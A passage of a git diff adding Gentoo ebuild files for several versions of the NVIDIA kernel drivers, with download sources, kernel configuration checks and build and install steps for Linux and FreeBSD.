+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/usr/src/nv"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wpointer-arith::g' \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	echo
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.35.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.35.ebuild
new file mode 100644
index 00000000..23bf384c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.35.ebuild
@@ -0,0 +1,204 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	acpi? ( sys-power/acpid )"
+PDEPEND=""
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol 'lockdep_init_map' as GPL-only"
+		eerror "which will prevent ${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/usr/src/nv)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/usr/src/nv"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wpointer-arith::g' \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	echo
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-275.09.07.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-275.09.07.ebuild
new file mode 100644
index 00000000..d82b365a
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-275.09.07.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# Add support for the 'x86' unified kernel arch in conftest.sh
+		epatch "${FILESDIR}"/256.35-unified-arch.patch
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-280.13.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-280.13.ebuild
new file mode 100644
index 00000000..3cbcd0ee
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-280.13.ebuild
@@ -0,0 +1,195 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# Add support for the 'x86' unified kernel arch in conftest.sh
+		epatch "${FILESDIR}"/256.35-unified-arch.patch
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+
+	# Gentoo bug #375615 -- GTK apps hanging
+	doenvd "${FILESDIR}"/10nvidia
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-285.05.09.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-285.05.09.ebuild
new file mode 100644
index 00000000..d82b365a
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-285.05.09.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# Add support for the 'x86' unified kernel arch in conftest.sh
+		epatch "${FILESDIR}"/256.35-unified-arch.patch
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
